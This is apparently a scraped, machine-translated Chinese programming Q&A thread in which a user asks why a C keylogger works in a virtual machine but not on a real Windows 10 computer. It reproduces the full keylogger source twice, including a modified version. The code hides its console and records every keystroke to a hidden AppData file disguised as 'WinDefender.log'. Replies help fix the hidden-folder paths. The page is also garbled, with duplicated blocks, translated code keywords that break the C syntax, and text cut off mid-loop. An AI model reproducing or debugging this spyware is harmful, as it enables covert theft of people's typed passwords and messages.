C 键盘记录器在虚拟机上工作,但在我的真实计算机上不工作
首先,这不是我的代码。是的,但我正在编辑它并从中学习。一切功劳都归于他 该代码在Windows 10虚拟机上运行得非常好,但当我尝试在VM之外运行它时(在我自己的计算机上,也是Windows 10),它确实编译并运行,但问题是它不会创建任何“隐藏”目录,因此也不会创建日志文件“WinDefender.log” 我完全不知道问题出在哪里。非常感谢您的帮助C 键盘记录器在虚拟机上工作,但在我的真实计算机上不工作,c,keylogger,C,Keylogger,首先,这不是我的代码。是的,但我正在编辑它并从中学习。一切功劳都归于他 该代码在Windows 10虚拟机上运行得非常好,但当我尝试在VM之外运行它时(在我自己的计算机上,也是Windows 10),它确实编译并运行,但问题是它不会创建任何“隐藏”目录,因此也不会创建日志文件“WinDefender.log” 我完全不知道问题出在哪里。非常感谢您的帮助 /** * Developer: Minhas Kamal (minhaskamal024@gmail.com) * Date: 15.Aug.
/**
* Developer: Minhas Kamal (minhaskamal024@gmail.com)
* Date: 15.Aug.2014
* Website: https://minhaskamal.github.io/StupidKeylogger
* License: MIT License
**/
#include <windows.h>
#include <time.h>
#include <stdio.h>
#define FILE_NAME "WinDefender.log"
int main() {
FreeConsole();
CreateDirectory("C:/%Userprofile%/AppData/Roaming/Hidden", NULL);
SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden", FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", FILE_ATTRIBUTE_HIDDEN);
FILE *file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a");
time_t date = time(NULL);
fprintf(file, "0\n%s\t", ctime(&date));
fclose(file);
unsigned short ch, i;
while (1) { //infinite loop
ch = 1;
while (ch<250) { //scans for 0-249 ASCII craracters
// this strange and extra loop helps in sensing fast-keystrokes with
// minimum processor use
for (i = 0; i<50; i++, ch++) {
//when key is stroke
if (GetAsyncKeyState(ch) == -32767) {
//append the ASCII code of the character
file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a");
fprintf(file, "%d ", ch);
fclose(file);
}
}
Sleep(1);
}
}
}
/**
*开发商:Minhas Kamal(minhaskamal024@gmail.com)
*日期:2014年8月15日
*网站:https://minhaskamal.github.io/StupidKeylogger
*许可证:麻省理工学院许可证
**/
#包括
#包括
#包括
#定义文件名“WinDefender.log”
int main(){
FreeConsole();
CreateDirectory(“C:/%Userprofile%/AppData/Roaming/Hidden”,NULL);
SetFileAttributes(“C:/%Userprofile%/AppData/Roaming/Hidden”,文件属性隐藏);
SetFileAttributes(“C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log”,文件属性隐藏);
FILE*FILE=fopen(“C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log”,“a”);
时间\u t日期=时间(空);
fprintf(文件“0\n%s\t”,ctime(&date));
fclose(文件);
无符号短ch,i;
而(1){//无限循环
ch=1;
而(ch全部替换)
C:/%Userprofile%
与
只需删除C://
,因为%Userprofile%
已经包含了C:/Blah/Blah
,所以您将有2个C:/C:/Blah/Blah
打开命令提示符并键入echo%USERPROFILE%
您将看到它的含义
你可以试试这些看看哪一个有效
CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(L"%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(_T("%Userprofile%\\AppData\\Roaming\\Hidden"), NULL);
暂时注释掉FreeConsole();
以进行测试
if (GetFileAttributes("%Userprofile%\\AppData\\Roaming\\Hidden") == INVALID_FILE_ATTRIBUTES)
{
//Directory does not exist
CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
if(GetLastError() == ERROR_ALREADY_EXISTS) {
printf("folder exists");
else if(GetLastError() == ERROR_PATH_NOT_FOUND) {
printf("path not found (means folders before final folder not exist)");
}
} else {
printf("exists already");
}
全部替换
C:/%Userprofile%
与
只需删除C://
,因为%Userprofile%
已经包含了C:/Blah/Blah
,所以您将有2个C:/C:/Blah/Blah
打开命令提示符并键入echo%USERPROFILE%
您将看到它的含义
你可以试试这些看看哪一个有效
CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(L"%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(_T("%Userprofile%\\AppData\\Roaming\\Hidden"), NULL);
暂时注释掉FreeConsole();
以进行测试
if (GetFileAttributes("%Userprofile%\\AppData\\Roaming\\Hidden") == INVALID_FILE_ATTRIBUTES)
{
//Directory does not exist
CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
if(GetLastError() == ERROR_ALREADY_EXISTS) {
printf("folder exists");
else if(GetLastError() == ERROR_PATH_NOT_FOUND) {
printf("path not found (means folders before final folder not exist)");
}
} else {
printf("exists already");
}
Win32 API默认为UNICODE,即WCHAR(WCHAR\u t)而不是CHAR(CHAR)
%userprofile%指定驱动器名称。不应假定它是驱动器C
阅读或上的MSDN文档,并在代码或工具链命令行中选择UNICODE ANSI字符代码集
Win32 API默认为UNICODE,即WCHAR(WCHAR\u t)而不是CHAR(CHAR)
%userprofile%指定驱动器名称。不应假定它是驱动器C
阅读或上的MSDN文档,并在代码或工具链命令行中选择UNICODE ANSI字符代码集。各位,这是我的真实帐户。我是JackJone。不过,这并不重要:
我已经设法对代码进行了一些更改,现在它可以创建一个目录(隐藏或不隐藏)和日志文件(隐藏或不隐藏),但是:
它不会写任何东西!代码:
#include <windows.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <iostream>
#define FILE_NAME ("%appdata%\\Hidden\\WinSDefender.log"), "WinSDefender.log" //;
int main() {
// FreeConsole();
using namespace std;
system("mkdir %appdata%\\Hidden"); //using a cmd command to create a dir
system("attrib.exe +h %appdata%\\Hidden");// and hides it
system("echo s > %appdata%\\Hidden\\WinDefender.log");// creates the log file
system("attrib.exe +h %appdata%\\Hidden\\WinDefender.log");// and hides it
CreateDirectory("%appdata%\\Hidden", NULL);
///SetFileAttributes("C:/%appdata%/Desktop/Hidden", FILE_ATTRIBUTE_HIDDEN);
//SetFileAttributes("%appdata%\\Hidden\\WinDefender.log", FILE_ATTRIBUTE_HIDDEN);
FILE *file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a");
time_t date = time(NULL);
fprintf(file, "0\n%s\t", ctime(&date));
fclose(file);
unsigned short ch, i;
while (1) { //infinite loop
ch = 1;
while (ch < 250) { //scans for 0-249 ASCII craracters
// this strange and extra loop helps in sensing fast-keystrokes with
// minimum processor use
for (i = 0; i < 50; i++, ch++) {
//when key is stroke
if (GetAsyncKeyState(ch) == -32767) {
//append the ASCII code of the character
file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a");
fprintf(file, "%d ", ch);
fclose(file);
}
}
Sleep(1);
}
}
}
#包括
#包括
#包括
#包括
#包括
#包括
#定义文件名(“%appdata%\\Hidden\\WinSDefender.log”),“WinSDefender.log”/;
int main(){
//FreeConsole();
使用名称空间std;
系统(“mkdir%appdata%\\Hidden”);//使用cmd命令创建目录
系统(“attrib.exe+h%appdata%\\Hidden”);//并将其隐藏
系统(“echo s>%appdata%\\Hidden\\WinDefender.log”);//创建日志文件
系统(“attrib.exe+h%appdata%\\Hidden\\WinDefender.log”);//并将其隐藏
CreateDirectory(“%appdata%\\Hidden”,NULL);
///SetFileAttributes(“C:/%appdata%/桌面/隐藏”,文件属性\u隐藏);
//SetFileAttributes(“%appdata%\\Hidden\\WinDefender.log”,文件\u属性\u Hidden);
FILE*FILE=fopen(“%appdata%\\Hidden\\WinSDefender.log”,“a”);
时间\u t日期=时间(空);
fprintf(文件“0\n%s\t”,ctime(&date));
fclose(文件);
无符号短ch,i;
而(1){//无限循环
ch=1;
而(ch<250){//扫描0-249个ASCII字符
//这个奇怪的额外的循环有助于用键盘感知快速的击键
//最小处理器使用
对于(i=0;i<50;i++,ch++){
//当关键是中风
如果(GetAsyncKeyState(ch)=-32767){
//附加字符的ASCII码
file=fopen(“%appdata%\\Hidden\\WinSDefender.log”,“a”);
fprintf(文件“%d”,ch);
fclose(文件);
}
}
睡眠(1);
}
}
}
各位,这是我的真实账户。我的真实邮件。我是杰克乔恩。不过,这并不重要:
我已经设法对代码进行了一些更改,现在它可以创建一个目录(隐藏或不隐藏)和日志文件(隐藏或不隐藏),但是:
它不会写任何东西!代码:
#include <windows.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <iostream>
#define FILE_NAME ("%appdata%\\Hidden\\WinSDefender.log"), "WinSDefender.log" //;
int main() {
// FreeConsole();
using namespace std;
system("mkdir %appdata%\\Hidden"); //using a cmd command to create a dir
system("attrib.exe +h %appdata%\\Hidden");// and hides it
system("echo s > %appdata%\\Hidden\\WinDefender.log");// creates the log file
system("attrib.exe +h %appdata%\\Hidden\\WinDefender.log");// and hides it
CreateDirectory("%appdata%\\Hidden", NULL);
///SetFileAttributes("C:/%appdata%/Desktop/Hidden", FILE_ATTRIBUTE_HIDDEN);
//SetFileAttributes("%appdata%\\Hidden\\WinDefender.log", FILE_ATTRIBUTE_HIDDEN);
FILE *file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a");
time_t date = time(NULL);
fprintf(file, "0\n%s\t", ctime(&date));
fclose(file);
unsigned short ch, i;
while (1) { //infinite loop
ch = 1;
while (ch < 250) { //scans for 0-249 ASCII craracters
// this strange and extra loop helps in sensing fast-keystrokes with
// minimum processor use
for (i = 0; i < 50; i++, ch++) {
//when key is stroke
if (GetAsyncKeyState(ch) == -32767) {
//append the ASCII code of the character
file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a");
fprintf(file, "%d ", ch);
fclose(file);
}
}
Sleep(1);
}
}
}
#包括
#包括
#包括
#包括
#包括
#包括
#定义文件名(“%appdata%\\Hidden\\WinSDefender.log”),“WinSDefender.log”/;
int main(){
//FreeConsole();
使用名称空间std;
系统(“mkdir%appdata%\\Hidden”);//使用cmd命令创建目录
系统(“attrib.exe+h%appdata%\\Hidden”);//并将其隐藏
系统(“echo s>%appdata%\\Hidden\\WinDefender.log”);//创建日志文件
系统(“attrib.exe+h%appdata%\\Hidden\\WinDefender.log”);//并将其隐藏
CreateDirectory(“%appdata%\\Hidden”,NULL);
///SetFileAttributes(“C:/%appdata%/桌面/隐藏”,文件属性\u隐藏);
//SetFileAttributes(“%appdata%\\Hidden\\WinDefender.log”,文件\u属性\u Hidden);
FILE*FILE=fopen(“%appdata%\\Hidden\\WinSDefender.log”,“a”);
时间\u t日期=时间(空);
fprintf(文件“0\n%s\t”,ctime(&date));
fclose(文件);
无符号短ch,i;
而(1){//无限循环
ch=1;